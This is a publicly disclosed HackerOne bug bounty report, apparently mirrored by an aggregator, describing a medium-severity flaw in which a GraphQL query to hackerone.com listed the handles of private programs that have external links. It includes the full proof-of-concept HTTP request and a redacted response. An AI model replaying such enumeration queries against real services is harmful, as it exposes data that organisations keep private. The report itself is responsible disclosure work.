HexBrain

HackerOne · Report #1276992

Disclosure handle private program with external link

Validstatus
mediumseverity
$2,500bounty
130upvotes
24 Aug 2021disclosed

How it was found

Summary: Hi team.

It looks like we can identify private programs that have an external link

Steps To Reproduce

POST /graphql HTTP/1.1
Host: hackerone.com
Connection: close
Content-Length: 168
accept: */*
X-Auth-Token: your_token
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
content-type: application/json
Origin: https://hackerone.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: your_cookie

{"query":"{teams(last:100,where:{_and:[{roles:is_has_published_external_program},{roles:is_private}]}){total_count,nodes{_id,handle,state,participants{total_count}}}}"}

Answer:

{"data":{"teams":{"total_count":153,"nodes":[{"_id":"███████","handle":"████","state":null,"participants":null},.....REDACT....{"_id":"49805","handle":"security-test-ep-invite-only","state":null,"participants":null},"handle":"█████","state":null,"participants":null}]}}}

As we can see program for proof : @security-test-ep-invite-only If this is the correct answer, then there are a total of 153 private programs with external links

Thanks!

Impact

Disclosure handle private program with external link

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original